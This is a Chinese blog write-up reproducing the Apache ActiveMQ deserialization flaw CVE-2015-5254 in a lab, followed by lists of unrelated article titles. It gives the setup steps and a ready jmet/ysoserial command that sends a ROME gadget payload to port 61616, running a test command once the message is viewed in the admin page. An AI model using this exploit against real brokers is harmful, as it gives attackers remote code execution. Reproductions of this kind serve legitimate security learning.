Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现
Apache ActiveMQ序列化漏洞(CVE-2015-5254)复现
一、漏洞描述
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
二、漏洞影响版本
Apache ActiveMQ 5.13.0之前的版本
三、漏洞环境搭建
1、官网下载ActiveMQ 5.11.1版本下载地址:http://activemq.apache.org/download-archives.html
2、解压
3、启动,进入bin目录下,运行./activemq start
查看是否启动成功,./activemq status
4、浏览器访问http://192.168.10.149:8161/,如下图可以看到成功搭建环境
四、漏洞复现
1、 漏洞利用过程如下:
a.构成(使用ysoserial)可执行命令的序列化对象
b.作为一个消息,发送给目标的61616端口
c.访问web管理页面,读取消息,触发漏洞
2、下载jmet的jar文件,下载地址为: https://github.com/matthiaskaiser/jmet,复制到kali的/opt目录下,并在当前目录下创建一个external文件夹。Jmet原理是使用ysoserial生成payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
3、执行如下命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.10.149 61616
4、此时会给目标的ActiveMQ添加一个名为事件的队列,通过访问http://192.168.10.149:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有的消息
5、点击查看这条消息即可触发命令执行
6、此刻查看/tmp/,已经成功创建,说明漏洞利用成功
最新文章
- CDC的StretchBlt函数载入位图时图片失真问题
- js-处理div设置的编辑框处理焦点定位追加内容
- js学习笔记3---自定义属性
- Sqli-LABS通关笔录-10
- 【原】iOS多线程之异步任务+并行队列情况与异步任务+串行队列(主队列)情况
- hibernate多SessionFactory配置
- python语法笔记(二)
- 第一个Cocos2d-x Lua游戏
- 使用另一种方式实现js中Function的调用(call/apply/bind)
- 改变Oracle数据库连接端口
- Javascript中数组方法汇总
- Android开源项目发现---Layout 篇(持续更新)
- OpenProcessToken令牌函数使用方法
- hdu 3032 Nim or not Nim? (sg函数打表找规律)
- bootstrap中的明星属性
- 第 8 章 容器网络 - 056 - macvlan 网络结构分析
- html中,纯数字或纯英文的一串字符超出父容器不会折行显示,如何解决?
- [日常] 编写HTTP接口文档
- Servlet线程安全性
- Django 使用 Celery 实现异步任务
热门文章
- 使用admin的步骤、必知必会13条、单表的双下划线、外键的操作、多对多的操作:
- VUE中 $on, $emit, v-on三者关系
- 从壹开始[做贡献]之二 || 推荐VSCode多语言开发,支持一键JAVA
- File Zilla server安装完报错could not load TLS libraries. aborting start of administration interface
- IT兄弟连 HTML5教程 多媒体应用 HTML图像地图
- Java面试基础 -- Git篇
- 地图SDK全新版本v4.3.0上线 - 新增多项功能及优化
- 42-volume 生命周期管理
- Jedis Unexpected end of stream &; java.net.SocketException: Broken pipe问题解决思路
- 如何通过RMAN使用传输表空间迁移到不同的Endian平台 (Doc ID 371556.1)